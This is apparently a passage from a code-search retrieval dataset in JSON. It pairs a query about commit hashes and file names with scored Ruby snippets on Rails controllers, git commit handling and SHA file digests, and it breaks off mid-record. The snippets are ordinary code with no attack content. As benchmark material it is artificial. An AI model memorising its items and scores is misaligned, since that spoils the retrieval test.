"text": "def get_projects\n @params=task_params\n @client=current_user.clients.find(@params[:client_id])\n counter=0\n @res=[]\n @client.projects.each do |c|\n if c.users.include? current_user\n @res[counter]={\n project_id: c.id, \n name: c.name\n }\n counter+=1\n end\n end\n respond_to do |format|\n format.json {render json: @res.uniq}\n end\n end",
"title": ""
},
{
"docid": "63eb5245dd74a561d303af248872d2a6",
"score": "0.66429234",
"text": "def index\n @backlink = root_path\n @projects = session_obj.projects\n @include_cool_font = @projects.map{|p|p.title.titleize}.join\n if @projects.empty?\n redirect_to new_project_path and return\n end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"title": ""
},
{
"docid": "dc5569751b2773bfa8349cc53dfaefe9",
"score": "0.66349584",
"text": "def index\n # @projects = Project.all\n end",
"title": ""
},
{
"docid": "b7917d367f406901a6a3e8395d9152c7",
"score": "0.6629662",
"text": "def index\n if params[:query].present?\n @projects = Project.search(params[:query], load: true)\n else\n @projects = Project.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"title": ""
},
{
"docid": "722caf6e470e5c5ed4af0b176d64a386",
"score": "0.661875",
"text": "def show\n @projects = Project.find(params[:id])\n end",
"title": ""
},
{
"docid": "5ab5e4af9f4596ff333d0a2c6178c298",
"score": "0.6614918",
"text": "def index\n @projects = Project.all\n end",
"title": ""
},
{
"docid": "5ab5e4af9f4596ff333d0a2c6178c298",
"score": "0.6614511",
"text": "def index\n @projects = Project.all\n end",
"title": ""
},
{
"docid": "5ab5e4af9f4596ff333d0a2c6178c298",
"score": "0.6614511",
"text": "def index\n @projects = Project.all\n end",
"title": ""
},
{
"docid": "5ab5e4af9f4596ff333d0a2c6178c298",
"score": "0.6614511",
"text": "def index\n @projects = Project.all\n end",
"title": ""
},
{
"docid": "5ab5e4af9f4596ff333d0a2c6178c298",
"score": "0.6614511",
"text": "def index\n @projects = Project.all\n end",
"title": ""
},
{
"docid": "5ab5e4af9f4596ff333d0a2c6178c298",
"score": "0.6614511",
"text": "def index\n @projects = Project.all\n end",
"title": ""
}
] |
45d7d9bf4cddb0b1c8c9c8f8b61c33e6 | Commit hash File name First line Last line | [
{
"docid": "81844a28bf238fdef0b0291e26f260c0",
"score": "0.0",
"text": "def create\n @repo = GitRepository.create(path: '/a/path')\n @commit = GitCommit.create(object_hash: params[:hash], git_repository: @repo)\n respond_to do |format|\n format.html { render html: @commit.object_hash }\n format.json { render json: @commit }\n end\n end",
"title": ""
}
] | [
{
"docid": "c1e1724b7012a747b05e2dc0ddd8ed97",
"score": "0.5995491",
"text": "def git_commit\n init_structure\n sha = add_all_changes_to_git\n \n if self.attributes.has_key?(\"version\") \n self.version = sha\n self.connection.update(\"UPDATE #{self.class.table_name} SET version='#{sha}' WHERE id='#{self.id}'\")\n end\n \n return sha\n end",
"title": ""
},
{
"docid": "a5a27bfccbd8b608b3f2cf16f7466699",
"score": "0.5903386",
"text": "def commit_sha\n nil\n end",
"title": ""
},
{
"docid": "3f4c633aa10a4a84af1ea80db9e825e4",
"score": "0.58782196",
"text": "def add_commit_to_db(hash)\n #insert hash values into proper attribute in commits table\n @con.exec_prepared('commitInsert', hash.values_at(*@@GIT_LOG_PROPERTIES))\n \n create_commit_filepath(hash[\"filepaths\"], hash[:commit_hash])\n create_commit_bug(hash[:bug], hash[:commit_hash]) if hash[:bug]!=nil\n end",
"title": ""
},
{
"docid": "fbdf5458644bf502b6ec9f1bd9ba8993",
"score": "0.5851642",
"text": "def digest\n assert_file!\n Digest::SHA256.hexdigest(@name + Digest::SHA256.file(@path).to_s)\n end",
"title": ""
},
{
"docid": "8f6eed81043b80f65bd7761891705aaf",
"score": "0.58437335",
"text": "def hash_file(name, length)\n pieces = String.new\n file = ::File.open(name, 'r')\n pieces << Digest::SHA1.digest(file.read(length)) until file.eof?\n file.close\n pieces\n end",
"title": ""
},
{
"docid": "fd914b7ea4b20c1319991ed2877021b6",
"score": "0.58306277",
"text": "def commit\n @commit ||= $repo.log.object(@rev || 'master').path(@name).first\n end",
"title": ""
},
{
"docid": "82d43ab23c2a1593985e5818fc10ecf8",
"score": "0.57887524",
"text": "def last_commit(js_name)\n sha1 = `git log --pretty=%H -1 #{js_name}` \nend",
"title": ""
},
{
"docid": "5fb65b7672859f488354942ef221bdc8",
"score": "0.5773662",
"text": "def create_commit_filepath(filepaths, commit_hash)\n filepaths.each do |str_path, churn|\n @con.exec_prepared('fileInsert', [commit_hash,str_path, churn])\n end\n end",
"title": ""
},
{
"docid": "69d61e483e99cae8a7fdbd79680d0840",
"score": "0.5772851",
"text": "def extract_commit_hash(commit)\n return commit.lines.first.strip!\nend",
"title": ""
},
{
"docid": "be9e5e23616653d1af7994c43dbe6673",
"score": "0.5768181",
"text": "def sha\n @commit.sha\n end",
"title": ""
},
{
"docid": "bd95515364ac41cf4dca06c13fdf24db",
"score": "0.5760757",
"text": "def generate_sha(author_offset, committer_offset)\n commit_head = @git_head_tree\n commit_head += @git_head_parent\n commit_head += @git_head_author_prefix + (@timestamp - author_offset).to_s + \" +0000\\n\"\n commit_head += @git_head_committer_prefix + (@timestamp - committer_offset).to_s + \" +0000\\n\"\n commit_head += @git_head_message\n\n str = \"commit #{commit_head.size}\\0#{commit_head}\"\n Digest::SHA1.hexdigest(str)\n end",
"title": ""
},
{
"docid": "74967c06ebb292b5d0806a7a4e43355d",
"score": "0.5749377",
"text": "def save_commit_info(sha)\n unless File.directory?(File.dirname(commit_info_file))\n FileUtils.mkdir_p(File.dirname(commit_info_file))\n end\n File.write(commit_info_file, sha)\n end",
"title": ""
},
{
"docid": "bdbca52db89539562a5d2db6956e5930",
"score": "0.57338554",
"text": "def commit\n @git = YMDP::GitHelper.new\n @git.do_commit(@message)\n @git_hash = git.get_hash(options[:branch]) \n end",
"title": ""
},
{
"docid": "f25e2de79bff6d6b153076f9bc0437af",
"score": "0.5723749",
"text": "def commit args = {}\n action = :deleted if self.deleted?\n action ||= self.is_new? ? :added : (self.is_changed? ? :updated : :nothing_to_commit) \n args[:skip_part_data] ||= false\n \n unless action.eql?(:nothing_to_commit)\n message = \"#{action} #{name}\"\n message = args[:m] if args[:m] \n if action.eql?(:deleted)\n repo.remove(self.file_name)\n self.history_count += 1\n else\n repo.add(self.file_name)\n end\n\n active_message = self.commit_messages[:most_recent]\n message = \"#{active_message.gsub(message,\"\")}\" unless self.deleted? || active_message.blank? || active_message.eql?(message)\n self.remove_message_from_temp_store(:most_recent) unless active_message.blank?\n \n repo.commit(message)\n self.last_commit = repo.log(self.local_path, :limit => 1).first.to_s\n end\n unless action.eql?(:deleted) \n self.part_count = parts.count\n self.part_count ||= 0 \n update_part_data unless args[:skip_part_data]\n\n self.history_count = self.history.size\n self.history_count = 1 if self.history_count.eql?(0) \n end\n self.save if self.changed?\n \n synchronize unless args[:dont_sync] || self.attributes[\"sync\"].blank? #rather than calling sync.blank? to skip the JSON parsing step.\n return action\n end",
"title": ""
},
{
"docid": "e77b859c194a6438b15519b862405d1a",
"score": "0.5662639",
"text": "def fedora_shasum\n \"urn:sha1:#{Digest::SHA1.file(file_path)}\"\n end",
"title": ""
},
{
"docid": "c7a4c1021ee7ca6fa7544a8fa286130d",
"score": "0.5639485",
"text": "def commit\n\t$VP.join('.git/refs/heads/master').read[0..8] rescue nil\nend",
"title": ""
},
{
"docid": "ba35c21c816364db8e029cf45dedc00b",
"score": "0.56178254",
"text": "def file_sha256\n Digest::SHA256.file(self).hexdigest\n end",
"title": ""
},
{
"docid": "b5d02fc9689278982d53765eba5eed32",
"score": "0.55852306",
"text": "def file_sha1\n Digest::SHA1.file(self).hexdigest\n end",
"title": ""
},
{
"docid": "7a6cd239e7f2544e0529c4d0ad33a27c",
"score": "0.557433",
"text": "def commit_sha commit_message\n output_of \"git log --grep='#{commit_message}' --format='%h' -1\"\nend",
"title": ""
},
{
"docid": "9f1c85b0c914cfa2fc008b4649882f3f",
"score": "0.55283624",
"text": "def script_sha(conn, file_name)\n if (sha = SCRIPT_SHAS.get(file_name))\n return sha\n end\n\n sha = conn.script(:load, script_source(file_name))\n SCRIPT_SHAS.put(file_name, sha)\n sha\n end",
"title": ""
},
{
"docid": "ea78c87728c079dec58d8eb69662306f",
"score": "0.5528352",
"text": "def git_sha_for(path)\n website.git_repository.git_sha path\n end",
"title": ""
},
{
"docid": "7ec6cd324a7b219cb2838d6375f71c69",
"score": "0.55222416",
"text": "def calculate_file_name(file_path,file_name)\n file_sha = Digest::SHA256.file(file_path)\n \"#{file_sha}_#{file_name}\"\n end",
"title": ""
},
{
"docid": "b4c099986ac7225043b5f7b677579c2f",
"score": "0.552021",
"text": "def hash\n Digest::MD5.hexdigest(abs_filepath)[0..5]\n end",
"title": ""
},
{
"docid": "1b8b4152f791f0674914b95f1ed21fa2",
"score": "0.55157584",
"text": "def commit\n head.commit\n end",
"title": ""
},
{
"docid": "a0ff216afa68669884ea12535bc09710",
"score": "0.5507308",
"text": "def id(source_file)\n Digest::SHA1.hexdigest(source_file.filename)\n end",
"title": ""
},
{
"docid": "b6c5968b1a064bc852b2a35ec6ff2e58",
"score": "0.54949784",
"text": "def filename\n author_hash = SHA1.new(author).to_s[0..4]\n hash = SHA1.new(name + author + timestamp +\n (log.nil? ? '' : log.gsub(/\\n/, '')) +\n (inverted? ? 't' : 'f'))\n \"#{timestamp}-#{author_hash}-#{hash}.gz\"\n end",
"title": ""
},
{
"docid": "0fa48cefb8fc99a11ff1b3fd3d9edd6e",
"score": "0.5492959",
"text": "def id(source_file)\n Digest::SHA1.hexdigest(filename(source_file))\n end",
"title": ""
},
{
"docid": "79740f3707941f513af07a4b450cabce",
"score": "0.5491217",
"text": "def generate_sha(file)\n\n sha1 = Digest::SHA1.file file\n return sha1\n\nend",
"title": ""
},
{
"docid": "53a9ce9c5b71893d184625a5d4332c8f",
"score": "0.5478999",
"text": "def entry_name_from_branch(commit_hash)\n Git::Parser.branch_of_commit(commit_hash).tr('-', ' ')\n end",
"title": ""
},
{
"docid": "356c94acff2e8d21b96cbe6a026725f9",
"score": "0.5467103",
"text": "def sha1(name)\n Digest::SHA1.file(path(name)).hexdigest\n end",
"title": ""
},
{
"docid": "45b32abb37bb70d55d5e87d22987eb17",
"score": "0.54670316",
"text": "def commit_file(revision)\n c = @gerrit.commit(@id, revision)\n file = []\n file += c['parents'].map do |parent|\n \"Parent: #{parent['commit'][0..6]} (#{parent['subject']})\"\n end\n file += %w(committer author).map do |t|\n [\n \"#{t.capitalize}: #{c[t]['name']} <#{c[t]['email']}>\",\n \"#{t.capitalize}Date: #{c[t]['date']}\"\n ]\n end.flatten\n file << ''\n file << c['message']\n file.join(\"\\n\")\n end",
"title": ""
},
{
"docid": "a146642131b28dad57e0f1bacbfe94da",
"score": "0.5463611",
"text": "def fast_export_commit(time)\n file_mark, file_text = fast_export_file\n stamp = fast_export_timestamp(time)\n parent = @commit_mark || initial_ref\n reset = @commit_mark ? '' : \"reset #{branch}\\n\"\n @commit_mark = next_mark\n return file_text + <<COMMIT\n#{reset}commit #{branch}\nmark #{@commit_mark}\nauthor #{fast_export_user} #{stamp}\ncommitter #{fast_export_user} #{stamp}\n#{fast_export_data 'Yay, a commit!'}\nfrom #{parent}\nM 100644 #{file_mark} yay_a_file.txt\nCOMMIT\nend",
"title": ""
},
{
"docid": "7aa6daa5f591a1abb6d9b9f488c5828f",
"score": "0.5442527",
"text": "def hash\r\n # TODO what if file is empty?\r\n @hash ||= Digest::SHA1.file(File.join(@directory, @filename)).hexdigest\r\n end",
"title": ""
},
{
"docid": "1263ccf93af66a7d825c833c29ffd117",
"score": "0.5435519",
"text": "def commit_hash(branch_or_tag = nil)\n version = 'HEAD'\n working_dir do\n version = git 'rev-parse', branch_or_tag || 'HEAD'\n end\n version.strip\n end",
"title": ""
},
{
"docid": "290ff56835d7c085ebdb8bec8396f3a6",
"score": "0.54272354",
"text": "def block_hash\n\t\tdigest = Digest::SHA2.new\n\n\t\tdigest << '%d' % [ self.index ]\n\t\tdigest << self.timestamp.strftime( '%s%N' )\n\t\tdigest << self.payload\n\t\tdigest << self.payload_hash\n\t\tdigest << self.proof.to_s\n\t\tdigest << self.previous_hash\n\t\t\n\t\treturn digest.hexdigest\n\tend",
"title": ""
},
{
"docid": "2985e159cb90912ba8eed92ca0cf0fe6",
"score": "0.5415715",
"text": "def commit_data local_branch_name:, branch_name:, message:, sha:, author:\n result = {\n 'BRANCH' => local_branch_name,\n 'LOCATION' => [branch_location(branch_name)],\n 'MESSAGE' => message\n }\n if attribute? 'FILE NAME'\n filenames = committed_files sha\n result['FILE NAME'] = filenames[0] || ''\n end\n if attribute? 'FILE CONTENT'\n if filenames.size == 1\n result['FILE CONTENT'] = content_of file: filenames[0], for_sha: sha\n else\n fail 'Cannot verify file content for multiple files'\n end\n end\n result['AUTHOR'] = author if attribute? 'AUTHOR'\n result\n end",
"title": ""
},
{
"docid": "2ef3519b1751504415deb37f08de1707",
"score": "0.54150844",
"text": "def hash_file path, hash_store\r\n\thexdigest = HASH_DIGEST.hexdigest(open(path, 'rb') { |io| io.read })\r\n\thash_store[hexdigest] << path\r\nend",
"title": ""
},
{
"docid": "b17b1c195c08c83ee331cb722695da09",
"score": "0.5408443",
"text": "def commiter() end",
"title": ""
},
{
"docid": "76cb13b4879b086daf6409c333401c47",
"score": "0.53993237",
"text": "def sha1; end",
"title": ""
},
{
"docid": "76cb13b4879b086daf6409c333401c47",
"score": "0.53993237",
"text": "def sha1; end",
"title": ""
},
{
"docid": "16eddcd25a1e699eab29a40e88841057",
"score": "0.5386414",
"text": "def sha commit_message\n cmd = \"git reflog --grep-reflog='commit\"\n cmd += ' (initial)' if commit_message == 'Initial commit'\n cmd += \": #{commit_message.strip}' --format='%H'\"\n result = ''\n %w[developer developer_secondary].each do |user|\n next unless result.empty?\n in_repository(user) { result = output_of cmd }\n end\n result\nend",
"title": ""
},
{
"docid": "bcd624431d900a1d858fdb593df7bca1",
"score": "0.53838485",
"text": "def hash_file(filename)\n file = File.read(filename)\n tlsh_hash(file.bytes)\n end",
"title": ""
},
{
"docid": "91062194a7a9dcf0ffc3c960c948fac6",
"score": "0.53660023",
"text": "def head_commit_sha\n if persisted? && super.nil?\n last_commit_sha\n else\n super\n end\n end",
"title": ""
},
{
"docid": "2866152fc3b0aea75f4cb4137d96ed5f",
"score": "0.5359803",
"text": "def file_digest_key(stat)\n \"file_digest:#{compressed_path}:#{stat}\"\n end",
"title": ""
},
{
"docid": "f369cdfebe16fa9f64bd7fe62654008e",
"score": "0.5354035",
"text": "def repo_all_commits_authors(repo_dir, commits_file, structures_dir)\n puts \"Generating Authors Hash\"\n base_dir = Pathname.new(repo_dir).basename.to_s\n mc = MCommits.new(commits_file)\n auth_kenc = KeyEncoder.new\n mc.all_commits.each do |commit|\n begin\n auth_kenc.encode(parse_name(commit['author']))\n rescue\n puts commit['author']\n puts parse_name(commit['author'])\n end\n end\n auth_kenc.to_file(Pathname.new(structures_dir) + \"auth_key.txt\")\nend",
"title": ""
},
{
"docid": "aaf4b29b500f0523ffca04572f66ef6a",
"score": "0.5343297",
"text": "def commit\n # Compose changes array\n @changes=Array.new\n @folders.each do |key|\n @changes.push({ :name => FOLDERS_BASE+'\\\\'+key[:name], :value => key[:value] })\n end\n w=WinReg.new(@file,@debug)\n w.write_keys(@changes)\n end",
"title": ""
},
{
"docid": "d83fd5cff94e1fd36977d07144fd31cd",
"score": "0.5340194",
"text": "def commit!(sha)\n parent_shas = begin\n [gitrepo.head.target]\n rescue Rugged::ReferenceError\n # this is the first commit\n []\n end\n\n authorship = author.merge(:time => Time.now)\n\n sha = Rugged::Commit.create(gitrepo,\n :message => \"\",\n :author => authorship,\n :committer => authorship,\n :parents => parent_shas,\n :tree => sha,\n :update_ref => \"HEAD\"\n )\n\n sha\n end",
"title": ""
},
{
"docid": "391ce0c143b344876370d783a6f6a96e",
"score": "0.53227216",
"text": "def sha256(files)\n sha = Digest::SHA2.new\n files.each do |f|\n next if File.directory?(f)\n\n content = File.binread(f)\n # work around possible git checkout issues by removing CR and LF from the file\n content.gsub!(\"\\n\", \"\")\n content.gsub!(\"\\r\", \"\")\n sha << content\n end\n sha.hexdigest\n end",
"title": ""
},
{
"docid": "384db1a9247a511936915c52f64f0793",
"score": "0.5298852",
"text": "def commit=(_arg0); end",
"title": ""
},
{
"docid": "384db1a9247a511936915c52f64f0793",
"score": "0.5298852",
"text": "def commit=(_arg0); end",
"title": ""
},
{
"docid": "11d97df19c160e9aff8ca72e5b54ba8f",
"score": "0.5286248",
"text": "def hash\n [author_email, author_name, author_time, branch, commit_time, committer_email, committer_name, default_branch, message, repository_url, sha, tag].hash\n end",
"title": ""
},
{
"docid": "d13b94f96493ea714239b8cf260859ad",
"score": "0.52568614",
"text": "def update_commit_history\n raw_commits = `cd #{project_repo_path} && git fetch && git checkout #{self.trunk_branch} && git log --pretty='%H -::- %an -::- %s -::- %ai'`\n raw_commits.each do |raw_commit|\n # commit format\n # 0 => hash\n # 1 => author name\n # 2 => commit message\n # 3 => commit date\n commit = raw_commit.split(\"-::-\")\n commit.collect!(&:strip)\n # avoid issues with git log header and footer information \n if commit.count == 4\n author = GitAuthor.find_or_create_by_name(commit[1])\n # note that this breaks if two projects manage to get the same hash\n obj = GitCommit.find_by_commit_hash(commit[0])\n attributes = {\n :commit_hash => commit[0],\n :project => self, \n :git_author => author, \n :subject => commit[2], \n :commit_at => Time.parse(commit[3])\n }\n if obj.nil?\n GitCommit.create!(attributes)\n else\n # for now, assume you cannot update a commit\n # makes this run much faster\n # obj.attributes = attriubtes\n # obj.save!\n end\n end\n end\n end",
"title": ""
},
{
"docid": "70a2d4964dfbd79f695fd8eaf3a65a8f",
"score": "0.5245279",
"text": "def line_uri\n branch.commit_uri.chomp(\"commit/$commit\")\n end",
"title": ""
},
{
"docid": "41aed88f0b0ed0e506345f58a0bce634",
"score": "0.523223",
"text": "def commit_hash(origin_class = nil)\n @origin_class = origin_class\n combined = self.attributes.reject { |k, v| self.class.skipped_columns.push(self.get_origin_foreign_key).flatten.include?(k.to_s) }.values.join(':')\n combined += self.class.associations.inject([]) do |arr, assoc_name|\n association = self.send(assoc_name)\n association.is_a?(Array) ? association.map { |a| a.commit_hash(self.class) } : association.commit_hash\n end.join(':')\n #Digest::SHA1.hexdigest(combined) \n end",
"title": ""
},
{
"docid": "5894457e044ceca4eac7a1a683dbf053",
"score": "0.52280015",
"text": "def commit_message\n commit_message_lines.join\n end",
"title": ""
},
{
"docid": "4770d59af24fc466ac710ee1891f3587",
"score": "0.5227616",
"text": "def git_commit_initial\n commit \"Initial Commit\"\n end",
"title": ""
},
{
"docid": "4eef00fe008abffe7c064ca3dca41311",
"score": "0.5221971",
"text": "def commit_data(sha)\n sha = sha.to_s\n cdata = get_raw_repo.cat_file(revparse(sha))\n process_commit_data(cdata, sha)\n end",
"title": ""
},
{
"docid": "b4003008064700df89de1cbf40139c4a",
"score": "0.5219941",
"text": "def commit; end",
"title": ""
},
{
"docid": "b4003008064700df89de1cbf40139c4a",
"score": "0.5219941",
"text": "def commit; end",
"title": ""
},
{
"docid": "b4003008064700df89de1cbf40139c4a",
"score": "0.5219941",
"text": "def commit; end",
"title": ""
},
{
"docid": "904ec49c6fa64fb451cb7df6ae241819",
"score": "0.5217731",
"text": "def file_sha256_hash(file_path)\n file = File.read(file_path)\n Digest::SHA256.hexdigest(file) if file\n end",
"title": ""
},
{
"docid": "79eed9b09e1cdb6b0fc2e44ed3fa7358",
"score": "0.5210881",
"text": "def create_version_file\n output_f = File.new(@output_file, 'w:UTF-8')\n # Read each line from the file\n version = tag_version\n\n # Process line\n File.readlines(@input_file, encoding: 'UTF-8').each do |line|\n output_f.write(process_line(line, version))\n end\n # output to file\n output_f.close\n puts \"GitRevision: Created file #{@output_file} from #{@input_file}.\"\n puts \"GitRevision: version: #{version[:major]}.#{version[:minor]}.#{version[:revision]} short_hash: #{version[:short_hash]} long_hash: #{version[:long_hash]}\"\n output_f = nil\n end",
"title": ""
},
{
"docid": "6ee06fb481fa0ee6ba5b37992b6f48ad",
"score": "0.5204787",
"text": "def commit\n return if name.kind_of?(StringIO) || !commit_required?\n\n on_success_replace do |tmp_file|\n ::Zip::OutputStream.open(tmp_file) do |zos|\n @entry_set.each do |e|\n e.write_to_zip_output_stream(zos)\n e.dirty = false\n e.clean_up\n end\n zos.comment = comment\n end\n true\n end\n initialize(name)\n end",
"title": ""
},
{
"docid": "2b413f16b44b04457310bf1a8c50f354",
"score": "0.52039343",
"text": "def sha1=(_); end",
"title": ""
},
{
"docid": "fc5be37a9b1843e4067dc4b2aec42ee7",
"score": "0.52034104",
"text": "def findSmallHash(f)\r\n return Digest::SHA1.file(f).hexdigest()\r\nend",
"title": ""
},
{
"docid": "30488e061d9ffab7653cde574ef2d086",
"score": "0.5185311",
"text": "def write_git_commiter_details(full_name, email)\n if full_name.empty? and email.empty?\n creds = {'optout' => true}\n else\n creds = {'full_name' => full_name, 'email' => email}\n end\n File.open(@vagrant_git_commiter_details, 'w') do |f|\n f.write(JSON.dump(creds))\n end\n end",
"title": ""
},
{
"docid": "04e85dd493b9d6ca5a0bc8878d6c0f8c",
"score": "0.51818097",
"text": "def commitid\n \"#{@project[:id]}-#{currentbranch}-#{currentcommit}\"\n end",
"title": ""
},
{
"docid": "e0cf50eec5978ed3cee88a782c353a4e",
"score": "0.5173769",
"text": "def commit_message\n @commit.sub '%.%.%', @after_version\n end",
"title": ""
},
{
"docid": "fb187b1c67048fb3dee3069b4b9af036",
"score": "0.5163517",
"text": "def commit_hash\n if ENV['COMMIT_HASH'].present?\n ENV['COMMIT_HASH'][0, 8]\n else\n 'undefined'\n end\n end",
"title": ""
},
{
"docid": "3be2d920d71fefdefc6b0cec35e3bb3c",
"score": "0.5156547",
"text": "def findLargeHash(f)\r\n incr_digest = Digest::SHA1.new()\r\n file = File.open(f, \"rb\")\r\n count = 0\r\n file.each_line do |line|\r\n if count == 1\r\n incr_digest << line\r\n end\r\n count = count + 1\r\n if count >= 2\r\n break\r\n end\r\n end\r\n return incr_digest.hexdigest + File.size(f).to_s(16)\r\nend",
"title": ""
},
{
"docid": "7d977b4ba1de0f47ecccc14ce35eefe5",
"score": "0.5150575",
"text": "def save\n entries = []\n entries << '#'\n entries << '# This file is managed by Chef, using the hostsfile cookbook.'\n entries << '# Editing this file by hand is highly discouraged!'\n entries << '#'\n entries << '# Comments containing an @ sign should not be modified or else'\n entries << '# hostsfile will be unable to guarantee relative priority in'\n entries << '# future Chef runs!'\n entries << '#'\n entries << ''\n entries += unique_entries.map(&:to_line)\n entries << ''\n\n contents = entries.join(\"\\n\")\n contents_sha = Digest::SHA512.hexdigest(contents)\n\n # Only write out the file if the contents have changed...\n if contents_sha != current_sha\n ::File.open(hostsfile_path, 'w') do |f|\n f.write(contents)\n end\n end\n end",
"title": ""
},
{
"docid": "2aefa69d358b73245f62b1cfe38edf62",
"score": "0.5148449",
"text": "def last_commit(branch, filename)\n lc = @repo.log(branch, filename, {:n => 1})\n lc.empty? ? nil : lc.first\n end",
"title": ""
},
{
"docid": "dc1a4e711c803d924ba80f45ca2038bf",
"score": "0.5144251",
"text": "def current_sha\n @current_sha ||= Digest::SHA512.hexdigest(File.read(hostsfile_path))\n end",
"title": ""
},
{
"docid": "4afbad1bd355c7a0e88762c85be905b5",
"score": "0.5142973",
"text": "def sha_hash (arg)\r\n Digest::SHA2.hexdigest(arg)\r\n end",
"title": ""
},
{
"docid": "aa5bb36742092febdff5758ecb998b87",
"score": "0.5142771",
"text": "def sha256; end",
"title": ""
},
{
"docid": "121bbb2be03254edf1aae86686d1ee1f",
"score": "0.5127879",
"text": "def checksum(file)\n sha = ::Digest::SHA1.new\n File.open(file, 'r') do |fh|\n fh.each_line do |l|\n sha << l\n end\n end\n sha.hexdigest\n end",
"title": ""
},
{
"docid": "17e36c6a12e0c3a7ca8a902c168b06a5",
"score": "0.5119774",
"text": "def local_git_commit\n ErrorEmittingExecutor.execute(\"git commit -m '#{COMMIT_DESCRIPTION}' Gemfile.lock\")\nend",
"title": ""
},
{
"docid": "8a280d987851e6903916019fed569358",
"score": "0.5117894",
"text": "def git_sha(length = 40)\n Pkg::Util.in_project_root do\n stdout, _, _ = Pkg::Util::Execution.capture3(\"#{GIT} rev-parse --short=#{length} HEAD\")\n stdout.strip\n end\n end",
"title": ""
},
{
"docid": "fad63ee9852751c0e48ca9a16113c43f",
"score": "0.51107085",
"text": "def commit(message = '', author = User.from_config, committer = author)\n root.write\n\n commit = Commit.new(self)\n commit.tree = root\n commit.parent << head.id if head\n commit.author = author\n commit.committer = committer\n commit.message = message\n commit.write\n\n open(head_path, \"wb\") do |file|\n file.write(commit.id)\n end\n\n @head = commit\n end",
"title": ""
},
{
"docid": "a9b3be69663dbe0b49b647854e4fbe52",
"score": "0.5110568",
"text": "def verify_sha1_hash(filename, hash)\n require 'digest/sha1'\n compare_hash(filename, Digest::SHA1, hash)\n end",
"title": ""
},
{
"docid": "37aa890565d1dab426d93fcd975803cb",
"score": "0.5110506",
"text": "def set_commit_filepath\n @commit_filepath = CommitFilepath.find(params[:id])\n end",
"title": ""
},
{
"docid": "64efc8a19749d6ac0abca7e9039753c2",
"score": "0.5105551",
"text": "def digest\n OpenSSL::Digest::SHA256.file(path).hexdigest\n end",
"title": ""
},
{
"docid": "f4d4989a22f615db0f179a74f0436e42",
"score": "0.51031315",
"text": "def filehash(filepath)\n sha1 = Digest::SHA1.new\n File.open(filepath) do|file|\n buffer = ''\n # Read the file 512 bytes at a time\n while not file.eof\n file.read(512, buffer)\n sha1.update(buffer)\n end\n end\n return sha1.to_s\n end",
"title": ""
},
{
"docid": "7d72004c16bd649d451462bbf9b5d152",
"score": "0.51031154",
"text": "def create_checksums\n # puts \"Ins: #{@basename}\"\n md5 = Digest::MD5.file(@fullname).to_s\n sha1 = Digest::SHA1.file(@fullname).to_s\n sha256 = Digest::SHA2.new(256).file(@fullname).to_s\n @pkgdb.query(\"insert into checksums values ( datetime('now'), '#{@basename}', '#{@suitename}', '#{@mtime.iso8601}', '#{md5}', '#{sha1}', '#{sha256}' )\")\n end",
"title": ""
},
{
"docid": "520bb892e00f93f72448cefc678e63f7",
"score": "0.5095456",
"text": "def commit_hash(branch_or_tag = nil)\n git 'rev-parse', branch_or_tag || 'HEAD'\n end",
"title": ""
},
{
"docid": "81e8ccb5567852e6567e7851092f13f8",
"score": "0.50952375",
"text": "def commit_for(ref)\n @access.commit(ref)\n rescue Gollum::Git::NoSuchShaFound\n end",
"title": ""
},
{
"docid": "0e4d32e2efb6bd1bf17c45b514fb2701",
"score": "0.5089492",
"text": "def commit\n @repo.commit\n end",
"title": ""
},
{
"docid": "523c8e75da73d0d52fbfb4d5303f7e97",
"score": "0.508839",
"text": "def file_remote_digestsha1(file_name)\n data = read_file(file_name)\n chksum = nil\n if data\n chksum = Digest::SHA1.hexdigest(data)\n end\n return chksum\n end",
"title": ""
},
{
"docid": "6b1137665d62f529c249d2bb376d7499",
"score": "0.5077186",
"text": "def write_sync_control_file(branch_name)\n latest_sha = rev_parse(branch_name)\n filename = sync_control_filename(branch_name)\n logger.debug { \"Writing sync control file, #{filename}, with #{latest_sha}\" }\n File.open(filename, 'w') { |f| f.puts latest_sha }\n end",
"title": ""
},
{
"docid": "a4e2a54481dad5da1c193c0debc161f1",
"score": "0.5074638",
"text": "def digest\n @digest ||= begin\n Digest::SHA1.hexdigest \"defaults-#{NilavuStylesheets.last_file_updated}\"\n end\n end",
"title": ""
},
{
"docid": "2c584f785864ab8d7e68622bba1c2df4",
"score": "0.5071662",
"text": "def compute_hash( path )\n res = '0'\n autorelease_pool { res = NSData.sha1FromContentsOfFile(path) }\n res\n end",
"title": ""
},
{
"docid": "9216bf2c13b10f91b479334f10b1e566",
"score": "0.50711536",
"text": "def commit_hash(branch_or_tag = nil)\n @version = git 'rev-parse', branch_or_tag || 'HEAD'\n end",
"title": ""
},
{
"docid": "cc05888dc7f804023a77fb761b5ea093",
"score": "0.50698936",
"text": "def sha1\n @sha1 ||= digest(path, :sha1)\n end",
"title": ""
},
{
"docid": "f694458b0eee5b7c4f41e68ce49110ea",
"score": "0.50687486",
"text": "def sha\n Digest::SHA2.new.update(self.source).to_s\n end",
"title": ""
},
{
"docid": "9da8dc4c74885a7c7fc788940196cd8f",
"score": "0.50677407",
"text": "def sha\n @sha ||= ENV['HEROKU_SLUG_COMMIT'] || ENV['GIT_SHA'] || `git rev-parse HEAD`.chomp\n end",
"title": ""
},
{
"docid": "03d8589b7eabb62b13ed3b261d08d07f",
"score": "0.50666285",
"text": "def git_changed_line\n `git diff | grep ' #{name} (' | grep '+ '`\n end",
"title": ""
},
{
"docid": "ff47d9503c2191e410d8b06bcc44ad97",
"score": "0.50664824",
"text": "def commit_file\n\t\tlogger.info(\"[File Attribute #{sprintf('0x%08x', self.object_id)}] Committing file for #{@obj.class}(#{@obj.id}).#{attribute_name} ...\")\n\t\tif @file\n\t\t\tlogger.info(\"[File Attribute] Saving file #{local_file_name} ...\")\n\t\t\t@file.rewind if @file.respond_to?(:rewind)\n\t\t\tFile.makedirs(File.dirname(local_file_name))\n\t\t\tFile.open(local_file_name, \"w\") do |f|\n\t\t\t\tf.write(@file.read)\n\t\t\tend\n\t\t\tlogger.info(\"[File Attribute] Done.\")\n\t\telse\n\t\t\tlogger.info(\"[File Attribute] Skipping file save of #{@file.inspect}.\")\n\t\tend\n\t\ttrue\n\tend",
"title": ""
},
{
"docid": "0c41bb09672a089d2a1ef243634bafd9",
"score": "0.5063869",
